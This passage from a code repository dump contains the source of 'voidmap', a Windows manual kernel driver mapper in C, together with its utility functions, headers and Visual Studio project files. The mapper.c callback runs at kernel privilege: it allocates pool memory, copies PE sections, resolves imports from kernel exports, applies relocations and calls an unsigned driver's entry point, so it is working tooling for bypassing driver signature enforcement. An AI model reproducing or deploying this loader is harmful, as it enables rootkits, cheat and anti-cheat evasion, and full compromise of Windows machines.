ConsoleSuccess("Everything successful"); 138 | return 0; 139 | } -------------------------------------------------------------------------------- /voidmap/voidmap/mapper.c: -------------------------------------------------------------------------------- 1 | #include "general.h" 2 | 3 | BOOL kernelCallbackCalled = FALSE; 4 | NTSTATUS mapStatus = STATUS_UNSUCCESSFUL; 5 | NTSTATUS driverStatus = 0xDEAD; 6 | 7 | PVOID kernelBase; 8 | PVOID driverBuffer; 9 | 10 | // MSVC sometimes randomly decides to use winapi import 11 | // and sometimes it just inlines it so let's just write 12 | // it like this 13 | __forceinline int CustomCompare(const char* a, const char* b) 14 | { 15 | while (*a && *a == *b) { ++a; ++b; } 16 | return (int)(unsigned char)(*a) - (int)(unsigned char)(*b); 17 | } 18 | 19 | __forceinline void CustomCopy(void* dest, void* src, size_t n) 20 | { 21 | char* csrc = (char*)src; 22 | char* cdest = (char*)dest; 23 | 24 | for (int i = 0; i < n; i++) 25 | cdest[i] = csrc[i]; 26 | } 27 | 28 | DWORD64 ResolveExport(PVOID imageBase, const char* functionName) 29 | { 30 | PIMAGE_DOS_HEADER dosHeader = (PIMAGE_DOS_HEADER)imageBase; 31 | PIMAGE_NT_HEADERS64 ntHeaders = (PIMAGE_NT_HEADERS64)((DWORD64)imageBase + dosHeader->e_lfanew); 32 | 33 | DWORD exportBase = ntHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress; 34 | DWORD exportBaseSize = ntHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].Size; 35 | 36 | if (!exportBase || !exportBaseSize) 37 | return 0; 38 | 39 | PIMAGE_EXPORT_DIRECTORY imageExportDirectory = (PIMAGE_EXPORT_DIRECTORY)((DWORD64)imageBase + exportBase); 40 | 41 | DWORD64 delta = (DWORD64)imageExportDirectory - exportBase; 42 | 43 | DWORD* nameTable = (DWORD*)(imageExportDirectory->AddressOfNames + delta); 44 | WORD* ordinalTable = (WORD*)(imageExportDirectory->AddressOfNameOrdinals + delta); 45 | DWORD* functionTable = (DWORD*)(imageExportDirectory->AddressOfFunctions + delta); 46 | 47 | for (DWORD i = 0u; i < imageExportDirectory->NumberOfNames; ++i) 48 | { 49 | const char* currentFunctionName = (const char*)(nameTable[i] + delta); 50 | 51 | if (CustomCompare(currentFunctionName, functionName) == 0) 52 | { 53 | WORD functionOrdinal = ordinalTable[i]; 54 | if (functionTable[functionOrdinal] <= 0x1000) 55 | return 0; 56 | 57 | DWORD64 functionAddress = (DWORD64)kernelBase + functionTable[functionOrdinal]; 58 | 59 | if (functionAddress >= (DWORD64)kernelBase + exportBase && functionAddress <= (DWORD64)kernelBase + exportBase + exportBaseSize) 60 | return 0; 61 | 62 | return functionAddress; 63 | } 64 | } 65 | 66 | return 0; 67 | } 68 | 69 | void KernelCallback(void* first, void* second) 70 | { 71 | // WARNING 72 | // this function is being executed with CPL 0 73 | 74 | UNREFERENCED_PARAMETER(first); 75 | UNREFERENCED_PARAMETER(second); 76 | 77 | kernelCallbackCalled = TRUE; 78 | 79 | ExAllocatePool_t ExAllocatePool = (ExAllocatePool_t)ResolveExport(kernelBase, "ExAllocatePool"); 80 | 81 | PIMAGE_DOS_HEADER dosHeader = (PIMAGE_DOS_HEADER)driverBuffer; 82 | PIMAGE_NT_HEADERS64 ntHeaders = (PIMAGE_NT_HEADERS64)((DWORD64)driverBuffer + dosHeader->e_lfanew); 83 | 84 | DWORD imageSize = ntHeaders->OptionalHeader.SizeOfImage; 85 | 86 | PVOID imageBuffer = ExAllocatePool(NonPagedPool, imageSize); 87 | if (!imageBuffer) 88 | { 89 | mapStatus = STATUS_INSUFFICIENT_RESOURCES; 90 | return; 91 | } 92 | 93 | CustomCopy(imageBuffer, driverBuffer, ntHeaders->OptionalHeader.SizeOfHeaders); 94 | 95 | // rightfully stolen from 96 | // https://github.com/btbd/umap/blob/master/mapper/main.c#L61 97 | PIMAGE_SECTION_HEADER currentImageSection = IMAGE_FIRST_SECTION(ntHeaders); 98 | for (WORD i = 0; i < ntHeaders->FileHeader.NumberOfSections; ++i) 99 | { 100 | if ((currentImageSection[i].Characteristics & IMAGE_SCN_CNT_UNINITIALIZED_DATA) > 0) 101 | continue; 102 | 103 | PVOID localSection = (PVOID)((DWORD64)imageBuffer + currentImageSection[i].VirtualAddress); 104 | CustomCopy(localSection, (PVOID)((DWORD64)driverBuffer + currentImageSection[i].PointerToRawData), currentImageSection[i].SizeOfRawData); 105 | } 106 | 107 | ULONG importsRva = ntHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress; 108 | if (!importsRva) 109 | { 110 | mapStatus = STATUS_INVALID_PARAMETER_1; 111 | return; 112 | } 113 | 114 | PIMAGE_IMPORT_DESCRIPTOR importDescriptor = (PIMAGE_IMPORT_DESCRIPTOR)((DWORD64)imageBuffer + importsRva); 115 | for (; importDescriptor->FirstThunk; ++importDescriptor) 116 | { 117 | PIMAGE_THUNK_DATA64 thunk = (PIMAGE_THUNK_DATA64)((DWORD64)imageBuffer + importDescriptor->FirstThunk); 118 | PIMAGE_THUNK_DATA64 thunkOriginal = (PIMAGE_THUNK_DATA64)((DWORD64)imageBuffer + importDescriptor->OriginalFirstThunk); 119 | 120 | for (; thunk->u1.AddressOfData; ++thunk, ++thunkOriginal) 121 | { 122 | PCHAR importName = ((PIMAGE_IMPORT_BY_NAME)((DWORD64)imageBuffer + thunkOriginal->u1.AddressOfData))->Name; 123 | ULONG64 import = ResolveExport(kernelBase, importName); 124 | if (!import) 125 | { 126 | mapStatus = STATUS_NOT_FOUND; 127 | return; 128 | } 129 | 130 | thunk->u1.Function = import; 131 | } 132 | } 133 | 134 | PIMAGE_DATA_DIRECTORY baseRelocDir = &ntHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC]; 135 | if (baseRelocDir->VirtualAddress) 136 | { 137 | PIMAGE_BASE_RELOCATION reloc = (PIMAGE_BASE_RELOCATION)((DWORD64)imageBuffer + baseRelocDir->VirtualAddress); 138 | for (UINT32 currentSize = 0; currentSize < baseRelocDir->Size; ) 139 | { 140 | ULONG relocCount = (reloc->SizeOfBlock - sizeof(IMAGE_BASE_RELOCATION)) / sizeof(USHORT); 141 | PUSHORT relocData = (PUSHORT)((PBYTE)reloc + sizeof(IMAGE_BASE_RELOCATION)); 142 | PBYTE relocBase = (PBYTE)((DWORD64)imageBuffer + reloc->VirtualAddress); 143 | 144 | for (UINT32 i = 0; i < relocCount; ++i, ++relocData) 145 | { 146 | USHORT data = *relocData; 147 | USHORT type = data >> 12; 148 | USHORT offset = data & 0xFFF; 149 | 150 | switch (type) 151 | { 152 | case IMAGE_REL_BASED_ABSOLUTE: 153 | break; 154 | case IMAGE_REL_BASED_DIR64: 155 | { 156 | PULONG64 rva = (PULONG64)(relocBase + offset); 157 | *rva = (ULONG64)((DWORD64)imageBuffer + (*rva - ntHeaders->OptionalHeader.ImageBase)); 158 | break; 159 | } 160 | default: 161 | mapStatus = STATUS_NOT_SUPPORTED; 162 | return; 163 | } 164 | } 165 | 166 | currentSize += reloc->SizeOfBlock; 167 | reloc = (PIMAGE_BASE_RELOCATION)relocData; 168 | } 169 | } 170 | 171 | driverStatus = ((PDRIVER_INITIALIZE)((DWORD64)imageBuffer + ntHeaders->OptionalHeader.AddressOfEntryPoint))((PVOID)0xDEAD, (PVOID)0xFEED); 172 | mapStatus = STATUS_SUCCESS; 173 | } -------------------------------------------------------------------------------- /voidmap/voidmap/mapper.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | 3 | // ntstatus.h exists I know but then it throws billion 4 | // redefinition warnings 5 | #define STATUS_UNSUCCESSFUL ((NTSTATUS)0xC0000001L) 6 | #define STATUS_INSUFFICIENT_RESOURCES ((NTSTATUS)0xC000009AL) 7 | #define STATUS_INVALID_PARAMETER_1 ((NTSTATUS)0xC00000EFL) 8 | #define STATUS_INVALID_PARAMETER_2 ((NTSTATUS)0xC00000F0L) 9 | #define STATUS_INVALID_PARAMETER_3 ((NTSTATUS)0xC00000F1L) 10 | #define STATUS_NOT_FOUND ((NTSTATUS)0xC0000225L) 11 | #define STATUS_NOT_SUPPORTED ((NTSTATUS)0xC00000BBL) 12 | 13 | extern BOOL kernelCallbackCalled; 14 | extern PVOID driverBuffer; 15 | extern PVOID kernelBase; 16 | 17 | extern NTSTATUS mapStatus; 18 | extern NTSTATUS driverStatus; 19 | 20 | typedef enum _POOL_TYPE 21 | { 22 | NonPagedPool, 23 | NonPagedPoolExecute = NonPagedPool, 24 | PagedPool, 25 | NonPagedPoolMustSucceed = NonPagedPool + 2, 26 | DontUseThisType, 27 | NonPagedPoolCacheAligned = NonPagedPool + 4, 28 | PagedPoolCacheAligned, 29 | NonPagedPoolCacheAlignedMustS = NonPagedPool + 6, 30 | MaxPoolType, 31 | NonPagedPoolBase = 0, 32 | NonPagedPoolBaseMustSucceed = NonPagedPoolBase + 2, 33 | NonPagedPoolBaseCacheAligned = NonPagedPoolBase + 4, 34 | NonPagedPoolBaseCacheAlignedMustS = NonPagedPoolBase + 6, 35 | NonPagedPoolSession = 32, 36 | PagedPoolSession = NonPagedPoolSession + 1, 37 | NonPagedPoolMustSucceedSession = PagedPoolSession + 1, 38 | DontUseThisTypeSession = NonPagedPoolMustSucceedSession + 1, 39 | NonPagedPoolCacheAlignedSession = DontUseThisTypeSession + 1, 40 | PagedPoolCacheAlignedSession = NonPagedPoolCacheAlignedSession + 1, 41 | NonPagedPoolCacheAlignedMustSSession = PagedPoolCacheAlignedSession + 1, 42 | NonPagedPoolNx = 512, 43 | NonPagedPoolNxCacheAligned = NonPagedPoolNx + 4, 44 | NonPagedPoolSessionNx = NonPagedPoolNx + 32, 45 | } POOL_TYPE; 46 | 47 | typedef PVOID(*ExAllocatePool_t)(POOL_TYPE type, SIZE_T numberOfBytes); 48 | 49 | typedef NTSTATUS(NTAPI DRIVER_INITIALIZE)(void* dummy1, void* dummy2); 50 | typedef DRIVER_INITIALIZE* PDRIVER_INITIALIZE; 51 | 52 | int CustomCompare(const char* a, const char* b); 53 | DWORD64 ResolveExport(PVOID imageBase, const char* functionName); 54 | void KernelCallback(void* first, void* second); -------------------------------------------------------------------------------- /voidmap/voidmap/utils.c: -------------------------------------------------------------------------------- 1 | #include "general.h" 2 | 3 | PVOID UtilsReadFile(const char* path, SIZE_T* fileSize) 4 | { 5 | HANDLE fileHandle = CreateFileA(path, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, 6 | FILE_ATTRIBUTE_NORMAL, NULL); 7 | if (fileHandle == INVALID_HANDLE_VALUE) 8 | return NULL; 9 | 10 | LARGE_INTEGER size; 11 | BOOL status = GetFileSizeEx(fileHandle, &size); 12 | if (!status) 13 | { 14 | CloseHandle(fileHandle); 15 | return NULL; 16 | } 17 | 18 | PVOID buffer = malloc(size.QuadPart); 19 | if (!buffer) 20 | { 21 | CloseHandle(fileHandle); 22 | return NULL; 23 | } 24 | 25 | DWORD bytesRead; 26 | status = ReadFile(fileHandle, buffer, size.LowPart, &bytesRead, NULL); 27 | if (!status) 28 | { 29 | CloseHandle(fileHandle); 30 | free(buffer); 31 | return NULL; 32 | } 33 | 34 | CloseHandle(fileHandle); 35 | *fileSize = size.QuadPart; 36 | return buffer; 37 | } 38 | 39 | PIMAGE_NT_HEADERS64 UtilsGetImageHeaders(PVOID imageStart, SIZE_T maximumSize) 40 | { 41 | if (maximumSize < sizeof(IMAGE_DOS_HEADER)) 42 | return NULL; 43 | 44 | PIMAGE_DOS_HEADER dosHeader = (PIMAGE_DOS_HEADER)imageStart; 45 | 46 | if (dosHeader->e_magic != IMAGE_DOS_SIGNATURE) 47 | return NULL; 48 | 49 | PIMAGE_NT_HEADERS64 ntHeaders = (PIMAGE_NT_HEADERS64)((DWORD64)imageStart + dosHeader->e_lfanew); 50 | 51 | if ((DWORD64)ntHeaders > (DWORD64)imageStart + maximumSize + sizeof(IMAGE_NT_HEADERS64)) 52 | return NULL; 53 | 54 | if (ntHeaders->Signature != IMAGE_NT_SIGNATURE) 55 | return NULL; 56 | 57 | return ntHeaders; 58 | } 59 | 60 | char* UtilsCompare(const char* haystack, const char* needle) 61 | { 62 | do 63 | { 64 | const char* h = haystack; 65 | const char* n = needle; 66 | while (tolower(*h) == tolower(*n) && *n) 67 | { 68 | h++; 69 | n++; 70 | } 71 | 72 | if (*n == 0) 73 | return (char*)haystack; 74 | } while (*haystack++); 75 | return NULL; 76 | } 77 | 78 | extern NTSTATUS WINAPI NtQuerySystemInformation(SYSTEM_INFORMATION_CLASS systemInformationClass, PVOID systemInformation, ULONG systemInformationLength, PULONG returnLength); 79 | 80 | PVOID UtilsGetModuleBase(const char* moduleName) 81 | { 82 | PVOID address = NULL; 83 | ULONG size = 0; 84 | 85 | NTSTATUS status = NtQuerySystemInformation(SystemModuleInformation, &size, 0, &size); 86 | if (status != STATUS_INFO_LENGTH_MISMATCH) 87 | return NULL; 88 | 89 | PSYSTEM_MODULE_INFORMATION moduleList = (PSYSTEM_MODULE_INFORMATION)malloc(size); 90 | if (!moduleList) 91 | return NULL; 92 | 93 | status = NtQuerySystemInformation(SystemModuleInformation, moduleList, size, NULL); 94 | if (!NT_SUCCESS(status)) 95 | goto end; 96 | 97 | for (ULONG_PTR i = 0; i < moduleList->ulModuleCount; i++) 98 | { 99 | DWORD64 pointer = (DWORD64)&moduleList->Modules[i]; 100 | pointer += sizeof(SYSTEM_MODULE); 101 | if (pointer > ((DWORD64)moduleList + size)) 102 | break; 103 | 104 | SYSTEM_MODULE module = moduleList->Modules[i]; 105 | module.ImageName[255] = '\0'; 106 | if (UtilsCompare(module.ImageName, moduleName)) 107 | { 108 | address = module.Base; 109 | break; 110 | } 111 | } 112 | 113 | end: 114 | free(moduleList); 115 | return address; 116 | } -------------------------------------------------------------------------------- /voidmap/voidmap/utils.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | 3 | typedef enum _SYSTEM_INFORMATION_CLASS 4 | { 5 | SystemInformationClassMin = 0, 6 | SystemBasicInformation = 0, 7 | SystemProcessorInformation = 1, 8 | SystemPerformanceInformation = 2, 9 | SystemTimeOfDayInformation = 3, 10 | SystemPathInformation = 4, 11 | SystemNotImplemented1 = 4, 12 | SystemProcessInformation = 5, 13 | SystemProcessesAndThreadsInformation = 5, 14 | SystemCallCountInfoInformation = 6, 15 | SystemCallCounts = 6, 16 | SystemDeviceInformation = 7, 17 | SystemConfigurationInformation = 7, 18 | SystemProcessorPerformanceInformation = 8, 19 | SystemProcessorTimes = 8, 20 | SystemFlagsInformation = 9, 21 | SystemGlobalFlag = 9, 22 | SystemCallTimeInformation = 10, 23 | SystemNotImplemented2 = 10, 24 | SystemModuleInformation = 11, 25 | SystemLocksInformation = 12, 26 | SystemLockInformation = 12, 27 | SystemStackTraceInformation = 13, 28 | SystemNotImplemented3 = 13, 29 | SystemPagedPoolInformation = 14, 30 | SystemNotImplemented4 = 14, 31 | SystemNonPagedPoolInformation = 15, 32 | SystemNotImplemented5 = 15, 33 | SystemHandleInformation = 16, 34 | SystemObjectInformation = 17, 35 | SystemPageFileInformation = 18, 36 | SystemPagefileInformation = 18, 37 | SystemVdmInstemulInformation = 19, 38 | SystemInstructionEmulationCounts = 19, 39 | SystemVdmBopInformation = 20, 40 | SystemInvalidInfoClass1 = 20, 41 | SystemFileCacheInformation = 21, 42 | SystemCacheInformation = 21, 43 | SystemPoolTagInformation = 22, 44 | SystemInterruptInformation = 23, 45 | SystemProcessorStatistics = 23, 46 | SystemDpcBehaviourInformation = 24, 47 | SystemDpcInformation = 24, 48 | SystemFullMemoryInformation = 25, 49 | SystemNotImplemented6 = 25, 50 | SystemLoadImage = 26, 51 | SystemUnloadImage = 27, 52 | SystemTimeAdjustmentInformation = 28, 53 | SystemTimeAdjustment = 28, 54 | SystemSummaryMemoryInformation = 29, 55 | SystemNotImplemented7 = 29, 56 | SystemNextEventIdInformation = 30, 57 | SystemNotImplemented8 = 30, 58 | SystemEventIdsInformation = 31, 59 | SystemNotImplemented9 = 31, 60 | SystemCrashDumpInformation = 32, 61 | SystemExceptionInformation = 33, 62 | SystemCrashDumpStateInformation = 34, 63 | SystemKernelDebuggerInformation = 35, 64 | SystemContextSwitchInformation = 36, 65 | SystemRegistryQuotaInformation = 37, 66 | SystemLoadAndCallImage = 38, 67 | SystemPrioritySeparation = 39, 68 | SystemPlugPlayBusInformation = 40, 69 | SystemNotImplemented10 = 40, 70 | SystemDockInformation = 41, 71 | SystemNotImplemented11 = 41, 72 | SystemInvalidInfoClass2 = 42, 73 | SystemProcessorSpeedInformation = 43, 74 | SystemInvalidInfoClass3 = 43, 75 | SystemCurrentTimeZoneInformation = 44, 76 | SystemTimeZoneInformation = 44, 77 | SystemLookasideInformation = 45, 78 | SystemSetTimeSlipEvent = 46, 79 | SystemCreateSession = 47, 80 | SystemDeleteSession = 48, 81 | SystemInvalidInfoClass4 = 49, 82 | SystemRangeStartInformation = 50, 83 | SystemVerifierInformation = 51, 84 | SystemAddVerifier = 52, 85 | SystemSessionProcessesInformation = 53, 86 | SystemInformationClassMax 87 | } SYSTEM_INFORMATION_CLASS; 88 | 89 | typedef struct _SYSTEM_MODULE 90 | { 91 | ULONG_PTR Reserved[2]; 92 | PVOID Base; 93 | ULONG Size; 94 | ULONG Flags; 95 | USHORT Index; 96 | USHORT Unknown; 97 | USHORT LoadCount; 98 | USHORT ModuleNameOffset; 99 | CHAR ImageName[256]; 100 | } SYSTEM_MODULE, * PSYSTEM_MODULE; 101 | 102 | typedef struct _SYSTEM_MODULE_INFORMATION 103 | { 104 | ULONG_PTR ulModuleCount; 105 | SYSTEM_MODULE Modules[1]; 106 | } SYSTEM_MODULE_INFORMATION, * PSYSTEM_MODULE_INFORMATION; 107 | 108 | #define NT_SUCCESS(Status) (((NTSTATUS)(Status)) >= 0) 109 | #define STATUS_INFO_LENGTH_MISMATCH ((NTSTATUS)0xC0000004L) 110 | 111 | PVOID UtilsReadFile(const char* path, SIZE_T* fileSize); 112 | PIMAGE_NT_HEADERS64 UtilsGetImageHeaders(PVOID imageStart, SIZE_T maximumSize); 113 | char* UtilsCompare(const char* haystack, const char* needle); 114 | PVOID UtilsGetModuleBase(const char* moduleName); -------------------------------------------------------------------------------- /voidmap/voidmap/voidmap.vcxproj: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | Debug 6 | Win32 7 | 8 | 9 | Release 10 | Win32 11 | 12 | 13 | Debug 14 | x64 15 | 16 | 17 | Release 18 | x64 19 | 20 | 21 | 22 | 16.0 23 | Win32Proj 24 | {aed23ed5-7952-4dc7-8e2d-0b1bf9b8a01b} 25 | voidmap 26 | 10.0 27 | 28 | 29 | 30 | Application 31 | true 32 | v142 33 | Unicode 34 | 35 | 36 | Application 37 | false 38 | v142 39 | true 40 | Unicode 41 | 42 | 43 | Application 44 | true 45 | v142 46 | Unicode 47 | 48 | 49 | Application 50 | false 51 | v142 52 | true 53 | Unicode 54 | Static 55 | 56 | 57 | 58 | 59 | 60 | 61 | 62 | 63 | 64 | 65 | 66 | 67 | 68 | 69 | 70 | 71 | 72 | 73 | 74 | 75 | true 76 | 77 | 78 | false 79 | 80 | 81 | true 82 | 83 | 84 | false 85 | 86 | 87 | 88 | Level3 89 | true 90 | WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions) 91 | true 92 | 93 | 94 | Console 95 | true 96 | 97 | 98 | 99 | 100 | Level3 101 | true 102 | true 103 | true 104 | WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions) 105 | true 106 | 107 | 108 | Console 109 | true 110 | true 111 | true 112 | 113 | 114 | 115 | 116 | Level3 117 | true 118 | _DEBUG;_CONSOLE;%(PreprocessorDefinitions) 119 | true 120 | 121 | 122 | Console 123 | true 124 | 125 | 126 | 127 | 128 | Level4 129 | true 130 | true 131 | true 132 | NDEBUG;_CONSOLE;_CRT_SECURE_NO_WARNINGS;%(PreprocessorDefinitions) 133 | true 134 | true 135 | 4005;4201;%(DisableSpecificWarnings) 136 | 137 | 138 | Console 139 | true 140 | true 141 | DebugFull 142 | ntdll.lib;Winspool.lib;Gdi32.lib;%(AdditionalDependencies) 143 | 144 | 145 | 146 | 147 | 148 | 149 | 150 | 151 | 152 | 153 | 154 | 155 | 156 | 157 | 158 | 159 | 160 | 161 | 162 | -------------------------------------------------------------------------------- /voidmap/voidmap/voidmap.vcxproj.filters: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | 5 | {4FC737F1-C7A5-4376-A066-2A32D752A2FF} 6 | cpp;c;cc;cxx;c++;cppm;ixx;def;odl;idl;hpj;bat;asm;asmx 7 | 8 | 9 | 10 | 11 | Source 12 | 13 | 14 | Source 15 | 16 | 17 | Source 18 | 19 | 20 | Source 21 | 22 | 23 | Source 24 | 25 | 26 | 27 | 28 | Source 29 | 30 | 31 | Source 32 | 33 | 34 | Source 35 | 36 | 37 | Source 38 | 39 | 40 | Source 41 | 42 | 43 | --------------------------------------------------------------------------------